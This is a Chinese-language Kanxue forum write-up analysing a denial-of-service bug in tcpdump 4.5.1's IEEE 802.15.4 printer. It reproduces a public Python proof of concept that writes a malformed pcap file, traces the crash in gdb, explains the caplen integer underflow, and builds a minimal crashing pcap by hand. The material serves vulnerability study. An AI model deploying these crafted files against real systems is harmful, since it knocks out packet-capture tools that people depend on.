双向进攻:分析tcpdump DOS漏洞成因
本文为看雪论坛精华文章
看雪论坛作者ID:LarryS
目录
0. 前言
1. 环境&准备
1.1虚拟机操作系统
1.2 tcpdump安装
1.3 poc.py文件
1.4 crash文件介绍
1.4.1 文件内容
1.4.2 文件结构
2. 漏洞分析
2.1 获取函数调用栈
2.2 代码跟进
2.3 漏洞成因
3. crash数据包分析
3.1 构建自己的poc
3.1.1 24字节的pcap文件头
3.1.2 16字节的包头
3.1.3 caplen字节的数据
4. 参考资料
0. 前言
1. 环境&准备
1.1虚拟机操作系统
1.2 tcpdump安装
# 卸载默认安装的tcpdump
apt-get --purge remove tcpdump
# 安装依赖包
apt install flex
apt install bison
# 安装libpcap
wget http://www.tcpdump.org/release/libpcap-1.5.3.tar.gz
tar -zxvf libpcap-1.5.3.tar.gz
cd libpcap-1.5.3
./configure
make
make install
# 安装tcpdump
wget http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz
tar -zxvf tcpdump-4.5.1.tar.gz
cd tcpdump-4.5.1
./configure
make
make install
# 验证安装
tcpdump --version
1.3 poc.py文件
# Exploit Title: tcpdump 4.5.1 Access Violation Crash
# Date: 31st May 2016
# Exploit Author: David Silveiro
# Vendor Homepage: http://www.tcpdump.org
# Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz
# Version: 4.5.1
# Tested on: Ubuntu 14 LTS
from subprocess import call
from shlex import split
from time import sleep
def crash():
command = 'tcpdump -r crash'
buffer = '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff'
buffer += '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00'
buffer += '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00'
buffer += '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a'
buffer += "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'"
buffer += "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00"
buffer += '\x00\x00\x00\x00\x01\x03\x03\x04'
with open('crash', 'w+b') as file:
file.write(buffer)
try:
call(split(command))
print("Exploit successful! ")
except:
print("Error: Something has gone wrong!")
def main():
print("Author: David Silveiro ")
print(" tcpdump version 4.5.1 Access Violation Crash ")
sleep(2)
crash()
if __name__ == "__main__":
main()
1.4 crash文件介绍
1.4.1 文件内容
0000h: D4 C3 B2 A1 02 00 04 00 | 00 00 00 F5 FF 00 00 00
0010h: 49 00 00 00 E6 00 00 00 | 00 80 00 00 00 00 00 00
0020h: 08 00 00 00 00 3C 9C 37 | 40 FF 00 06 A0 72 7F 00
0030h: 00 01 7F 00 00 EC 00 01 | E0 1A 00 17 67 2B 2B 2B
0040h: 2B 2B 2B 2B 85 C9 03 00 | 00 00 10 A0 26 80 18 27
0050h: 78 66 65 24 00 01 00 00 | 40 0C 04 02 08 0A 27 2C
0060h: 20 27 00 00 00 00 00 00 | 00 00 01 03 03 04
1.4.2 文件结构
24字节pcap_file_header
16字节pcap_pkthdr
8字节时间戳
4字节caplen
4字节len
数据
2. 漏洞分析
2.1 获取函数调用栈
root@kali:~/tcpdump-dos# gdb tcpdump
gdb-peda$ run -r crash
Starting program: /usr/local/sbin/tcpdump -r crash
05:06:08.000000 IEEE 802.15.4 Beacon packet
0x0000: ffff ffe7 3710 e0ff ffff ffe8 270f f0ff ....7.......'...
0x0010: ffff ffe9 16f2 e0ff ffff ffea 06f1 f0ff ................
0x0020: ffff ffea f6d4 e0ff ffff ffeb e6d3 f0ff ................
0x0030: ffff ffec d6b6 e011 0000 0050 de5e 0020 ...........P.^..
0x0040: d85e 0000 0000 0041 0000 0070 e25e 0000 .^.....A...p.^..
0x0050: 0000 0000 0000 0001 0000 0001 0000 0001 ................
0x0060: 0000 0000 0000 0000 0000 006d 646e 7334 ...........mdns4
0x0070: 5f6d 696e 696d 616c 0000 00f5 4f78 70ff _minimal....Oxp.
0x0080: ffff fff6 3f5b 6011 0000 0000 0000 0078 ....?[`........x
0x0090: 47fb b700 0000 0031 0000 0040 d65e 0000 G......1...@.^..
0x00a0: 0000 0000 0000 0000 0000 0001 0000 0001 ................
0x00b0: 0000 0000 0000 0000 0000 0064 6200 0000 ...........db...
0x00c0: 0000 0000 0000 0031 0000 0000 0000 0000 .......1........
0x00d0: 0000 0000 0000 0000 0000 0001 0000 0001 ................
0x00e0: 0000 0000 0000 0000 0000 0066 696c 6573 ...........files
0x00f0: 0000 0000 0000 0021 0000 00f0 d65e 0090 .......!.....^..
0x0100: d65e 0073 6572 7669 6365 7300 0000 0000 .^.services.....
0x0110: 0000 0000 0000 0031 0000 00c0 d65e 0000 .......1.....^..
0x0120: 0000 0000 0000 0000 0000 0001 0000 0001 ................
0x0130: 0000 0020 d85e 0020 dc5e 0064 6200 0000 .....^...^.db...
0x0140: 0000 0000 0000 0031 0000 0000 0000 0000 .......1........
0x0150: 0000 0000 0000 0000 0000 0001 0000 0001 ................
......
......
0x219d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x219e0: 0000 0000 0000 0000 0000 0000 0000 0000 .........
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x5
EBX: 0x51c000 --> 0x11beb0
ECX: Cannot access memory address
EDX: 0xbfffe3c3 (0xbfffe3c3: 0x30303000)
ESI: 0x2e ('.')
EDI: 0x0
EBP: 0xbfffe3dd ("......")
ESP: 0xbfffe370 --> 0xb7fcd110 --> 0xb7dcf000 --> 0x464c457f
EIP: 0x41adc0 (<hex_and_ascii_print_with_offset+160>: movzx esi,BYTE PTR [ecx+0x1])
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x41adb3 <hex_and_ascii_print_with_offset+147>: add ebp,0x2
0x41adb6 <hex_and_ascii_print_with_offset+150>: cmp ecx,DWORD PTR [esp+0x18]
0x41adba <hex_and_ascii_print_with_offset+154>: je 0x41aea8 <hex_and_ascii_print_with_offset+392>
=> 0x41adc0 <hex_and_ascii_print_with_offset+160>: movzx esi,BYTE PTR [ecx+0x1]
0x41adc4 <hex_and_ascii_print_with_offset+164>: movzx edi,BYTE PTR [ecx]
0x41adc7 <hex_and_ascii_print_with_offset+167>: add ecx,0x2
0x41adca <hex_and_ascii_print_with_offset+170>: sub esp,0xc
0x41adcd <hex_and_ascii_print_with_offset+173>: mov DWORD PTR [esp+0x1c0],ecx
[------------------------------------stack-------------------------------------]
0000| 0xbfffe370 --> 0xb7fcd110 --> 0xb7dcf000 --> 0x464c457f
0004| 0xbfffe374 --> 0x5
0008| 0xbfffe378 --> 0x0
0012| 0xbfffe37c --> 0x0
0016| 0xbfffe380 --> 0xbfffe3be (" 0000")
0020| 0xbfffe384 --> 0xbfffe3aa (" 0000 0000 0000 0000 0000")
0024| 0xbfffe388 --> 0x5ed567 --> 0x0
0028| 0xbfffe38c --> 0xb7fce100 --> 0xb7f43380 --> 0x20002
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
hex_and_ascii_print_with_offset (ident=0x4a8c76 "\n\t", cp=0x60f000 <error: Cannot access memory at address 0x60f000>, length=0xfffffff3, oset=0x21a80)
at ./print-ascii.c:90
90 s1 = *cp++;
gdb-peda$ bt
#0 hex_and_ascii_print_with_offset (ident=0x4a8c76 "\n\t", cp=0x60f000 <error: Cannot access memory at address 0x60f000>, length=0xfffffff3, oset=0x21a80) at ./print-ascii.c:90
#1 0x0041afc6 in hex_and_ascii_print (ident=0x4a8c76 "\n\t", cp=0x5ed575 "\377\377\377\347\067\020\340\377\377\377\377\350'\017\360\377\377\377\377\351\026\362\340\377\377\377\377\352\006\361\360\377\377\377\377\352\366\324\340\377\377\377\377\353\346\323\360\377\377\377\377\354\340\021", length=0xfffffff3) at ./print-ascii.c:127
#2 0x0046d533 in ndo_default_print (ndo=0x5eaac0 <Gndo>, bp=0x5ed575 "\377\377\377\347\067\020\340\377\377\377\377\350'\017\360\377\377\377\377\351\026\362\340\377\377\377\377\352\006\361\360\377\377\377\377\352\366\324\340\377\377\377\377\353\346\323\360\377\377\377\377\354\340\021", length=0xfffffff3) at ./tcpdump.c:2053
#3 0x00418d47 in ieee802_15_4_if_print (ndo=0x5eaac0 <Gndo>, h=0xbfffe610, p=<optimized out>) at ./print-802_15_4.c:180
#4 0x0046dc08 in print_packet (user=0xbfffe790 "\300\252^", h=0xbfffe610, sp=0x5ed560 "@\377") at ./tcpdump.c:1950
#5 0x0048dcc8 in pcap_offline_read (p=0x5ed350, cnt=0xffffffff, callback=0x46dbb0 <print_packet>, user=0xbfffe790 "\300\252^") at ./savefile.c:409
#6 0x0047fcc3 in pcap_loop (p=0x5ed350, cnt=0xffffffff, callback=0x46dbb0 <print_packet>, user=0xbfffe790 "\300\252^") at ./pcap.c:849
#7 0x00411b7d in main (argc=<optimized out>, argv=<optimized out>) at ./tcpdump.c:1569
#8 0xb7deddf6 in __libc_start_main (main=0x4108b0 <main>, argc=0x3, argv=0xbffff984, init=0x49bff0 <__libc_csu_init>, fini=0x49c050 <__libc_csu_fini>, rtld_fini=0xb7fe6080 <_dl_fini>, stack_end=0xbffff97c) at ../csu/libc-start.c:308
#9 0x004129e1 in _start ()
2.2 代码跟进
gdb-peda$ s
[----------------------------------registers-----------------------------------]
EAX: 0xbfffe60c --> 0x0
EBX: 0x51c000 --> 0x11beb0
ECX: 0x0
EDX: 0x1
ESI: 0x5ed350 --> 0x48dc60 (<pcap_offline_read>: push ebp)
EDI: 0x0
EBP: 0xbfffe610 --> 0xb7fe5539 (<_dl_fixup+9>: add ebx,0x19ac7)
ESP: 0xbfffe5dc --> 0x48dcec (<pcap_offline_read+140>: add esp,0x10)
EIP: 0x48e070 (<pcap_next_packet>: push ebp)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x48e06b: xchg ax,ax
0x48e06d: xchg ax,ax
0x48e06f: nop
=> 0x48e070 <pcap_next_packet>: push ebp
0x48e071 <pcap_next_packet+1>: push edi
0x48e072 <pcap_next_packet+2>: push esi
0x48e073 <pcap_next_packet+3>: push ebx
0x48e074 <pcap_next_packet+4>: call 0x4129f0 <__x86.get_pc_thunk.bx>
[------------------------------------stack-------------------------------------]
0000| 0xbfffe5dc --> 0x48dcec (<pcap_offline_read+140>: add esp,0x10)
0004| 0xbfffe5e0 --> 0x5ed350 --> 0x48dc60 (<pcap_offline_read>: push ebp)
0008| 0xbfffe5e4 --> 0xbfffe610 --> 0xb7fe5539 (<_dl_fixup+9>: add ebx,0x19ac7)
0012| 0xbfffe5e8 --> 0xbfffe60c --> 0x0
0016| 0xbfffe5ec --> 0x0
0020| 0xbfffe5f0 --> 0xb7fff000 --> 0x29f3c
0024| 0xbfffe5f4 --> 0x400000 --> 0x464c457f
0028| 0xbfffe5f8 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
pcap_next_packet (p=0x5ed350, hdr=0xbfffe610, data=0xbfffe60c) at ./sf-pcap.c:399
399 struct pcap_sf *ps = p->priv;
// sf-pcap.c
// 读取头部信息
412 amt_read = fread(&sf_hdr, 1, ps->hdrsize, fp);
// sf_hdr: esp+0x24=0xbfffe5a8; ps->hdrsize: 0x10;
// 执行后:0xbfffe5a8: 0x00008000 0x00000000 0x00000008 0x379c3c00
439 hdr->caplen = sf_hdr.caplen; // 0x08
440 hdr->len = sf_hdr.len; // 0x379c3c00
441 hdr->ts.tv_sec = sf_hdr.ts.tv_sec;
442 hdr->ts.tv_usec = sf_hdr.ts.tv_usec;
// 读取数据包
546 amt_read = fread(p->buffer, 1, hdr->caplen, fp);
// p->buffer: [esp+0x5c]+0x14=0x5ed560; hdr->caplen: 0x8
// 执行后:0x5ed560: 0x0600ff40 0x007f72a0 0x00000000 0x00000000
560 *data = p->buffer;
// tcpdump.c
1947 snapend = sp + h->caplen;
1948
1949 if(print_info->ndo_type) {
1950 hdrlen = (*print_info->p.ndo_printer)(print_info->ndo, h, sp); // 这里!
1951 } else {
1952 hdrlen = (*print_info->p.printer)(h, sp);
1953 }
// print-802_15_4.c
179 if (!suppress_default_print)
180 (ndo->ndo_default_print)(ndo, p, caplen);
// tcpdump.c
2050 static void
2051 ndo_default_print(netdissect_options *ndo _U_, const u_char *bp, u_int length)
2052 {
2053 hex_and_ascii_print("\n\t", bp, length);
2054 }
// print-ascii.c
123 void
124 hex_and_ascii_print(register const char *ident, register const u_char *cp,
125 register u_int length)
126 {
127 hex_and_ascii_print_with_offset(ident, cp, length, 0);
128 }
// print-ascii.c
76 void
77 hex_and_ascii_print_with_offset(register const char *ident,
78 register const u_char *cp, register u_int length, register u_int oset)
79 {
80 register u_int i;
81 register int s1, s2;
82 register int nshorts;
83 char hexstuff[HEXDUMP_SHORTS_PER_LINE*HEXDUMP_HEXSTUFF_PER_SHORT+1], *hsp;
84 char asciistuff[ASCII_LINELENGTH+1], *asp;
85
86 nshorts = length / sizeof(u_short);
87 i = 0;
88 hsp = hexstuff; asp = asciistuff;
89 while (--nshorts >= 0) {
90 s1 = *cp++; // 这里!
91 s2 = *cp++;
92 (void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff),
93 " %02x%02x", s1, s2);
2.3 漏洞成因
// print-802_15_4.c
92 u_int
93 ieee802_15_4_if_print(struct netdissect_options *ndo,
94 const struct pcap_pkthdr *h, const u_char *p)
// p: 0x5ed560 --> 0x600ff40 (即0x40ff0006)
95 {
96 u_int caplen = h->caplen; // 0x8
97 int hdrlen;
98 u_int16_t fc;
99 u_int8_t seq;
......
106 fc = EXTRACT_LE_16BITS(p); // fc: 0xff40
107 hdrlen = extract_header_length(fc); // hdrlen: 0x12
108
109 seq = EXTRACT_LE_8BITS(p + 2); // seq: 0x00
110
111 p += 3; // p: 0x5ed563->0x7f72a006(即0x06a0727f)
112 caplen -= 3; // caplen: 0x5
113
114 ND_PRINT((ndo,"IEEE 802.15.4 %s packet ", ftypes[fc & 0x7]));
......
123 if (!vflag) {
124 p+= hdrlen; // p: 0x5ed575->0xe7ffffff(即0xffffffe7)
125 caplen -= hdrlen; // caplen: 0xfffffff3=-13
126 } else {
......
177 }
178
179 if (!suppress_default_print)
180 (ndo->ndo_default_print)(ndo, p, caplen);
181
182 return 0;
183 }
注:这里的计算涉及到了ZigBee包格式的问题,感兴趣的朋友可以参考这个网址(https://www.rfwireless-world.com/Tutorials/Zigbee-MAC-layer-frame-format.html)。
0x41ad35 <hex_.._offset+21>: mov esi,DWORD PTR [esp+0x1b8] ; length:0xfffffff3
0x41ad3c <hex_.._offset+28>: mov edx,DWORD PTR [esp+0x1b4] ; cp: 0x5ed575->0xe7ffffff
=> 0x41ad43 <hex_.._offset+35>: mov eax,esi
0x41ad45 <hex_.._offset+37>: and eax,0x1
0x41ad48 <hex_.._offset+40>: shr esi,1 ; nshorts: 0x7ffffff9=2147483641
0x0041ad6c <+76>: lea eax,[edx+esi*2] ; eax: 0x5ed567=0x5ed575+0x7ffffff9*2
; =0x5ed575-0xe
0x0041ad6f <+79>: mov DWORD PTR [esp+0x18],eax ; [esp+0x18]: 0x5ed567
......
0x0041adc0 <+160>: movzx esi,BYTE PTR [ecx+0x1] ; 发生漏洞的地方!
0x0041adc4 <+164>: movzx edi,BYTE PTR [ecx]
......
0x0041ae9e <+382>: cmp ecx,DWORD PTR [esp+0x18] ; ecx: 数据包遍历地址>=0x5ed575
; [esp+0x18]: 0x5ed567
0x0041aea2 <+386>: jne 0x41adc0 <hex_and_ascii_print_with_offset+160>
3. crash数据包分析
0010h: 49 00 00 00 E6 00 00 00 | 00 80 00 00 00 00 00 00
0020h: 08 00 00 00 00 3C 9C 37 | 40 FF 00 06 A0 72 7F 00
0030h: 00 01 7F 00 00 EC 00 01 | E0 1A 00 17 67 2B 2B 2B
0040h: 2B 2B 2B 2B 85 C9 03 00 | 00 00 10 A0 26 80 18 27
0050h: 78 66 65 24 00 01 00 00 | 40 0C 04 02 08 0A 27 2C
0060h: 20 27 00 00 00 00 00 00 | 00 00 01 03 03 04
0000h: D4 C3 B2 A1 02 00 04 00 | 00 00 00 F5 FF 00 00 00
0010h: 49 00 00 00 E6 00 00 00 | 00 80 00 00 00 00 00 00
0020h: 08 00 00 00 08 00 00 00 | 40 FF 00 06 A0 72 7F 00
05:06:08.000000 IEEE 802.15.4 Beacon packet
0x0000: ffff ffe7 3710 e0ff ffff ffe8 270f f0ff ....7.......'...
0x0010: ffff ffe9 16f2 e0ff ffff ffea 06f1 f0ff ................
0x0020: ffff ffea f6d4 e0ff ffff ffeb e6d3 f0ff ................
0x0030: ffff ffec d6b6 e011 0000 0050 7ead 0120 ...........P~...
0x0040: 78ad 0100 0000 0041 0000 0070 82ad 0100 x......A...p....
0x0050: 0000 0000 0000 0001 0000 0001 0000 0001 ................
0x0060: 0000 0000 0000 0000 0000 006d 646e 7334 ...........mdns4
0x0070: 5f6d 696e 696d 616c 0000 00f5 4f78 70ff _minimal....Oxp.
0x0080: ffff fff6 3f5b 6011 0000 0000 0000 0078 ....?[`........x
......
0x219f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x21a00: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x21a10: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x21a20: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x21a30: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x21a40: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x21a50: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x21a60: 0000 0000 0000 0000 0000 0000 0000 0000 ................
Segmentation fault
3.1 构建自己的poc
3.1.1 24字节的pcap文件头
struct pcap_file_header {
bpf_u_int32 magic; // D4 C3 B2 A1
u_short version_major; // 02 00
u_short version_minor; // 04 00
bpf_int32 thiszone; // 00 00 00 00
bpf_u_int32 sigfigs; // 00 00 00 00
bpf_u_int32 snaplen; // 10 00 00 00 最大抓包长度,这里至少要能够包含接下来的数据包
bpf_u_int32 linktype; // 49 00 00 00 链路类型
};
3.1.2 16字节的包头
struct pcap_pkthdr {
struct timeval ts; // 00 00 00 00 00 00 00 00
bpf_u_int32 caplen; // 08 00 00 00
bpf_u_int32 len; // 08 00 00 00 这个值一般<=caplen,但也可以任意
};
3.1.3 caplen字节的数据
40 FF 00 00 00 00 00 00
D4 C3 B2 A1 02 00 04 00 | 00 00 00 00 00 00 00 00
10 00 00 00 49 00 00 00 | 00 00 00 00 00 00 00 00
08 00 00 00 08 00 00 00 | 40 FF 00 00 00 00 00 00
4. 参考资料
k0shl对该漏洞的分析
https://whereisk0shl.top/post/2016-10-23-1
Zigbee MAC layer frames
https://www.rfwireless-world.com/Tutorials/Zigbee-MAC-layer-frame-format.html
看雪ID:LarryS
https://bbs.pediy.com/user-home-600394.htm
*本文由看雪论坛 LarryS 原创,转载请注明来自看雪社区。
推荐文章++++
求分享
求点赞
求在看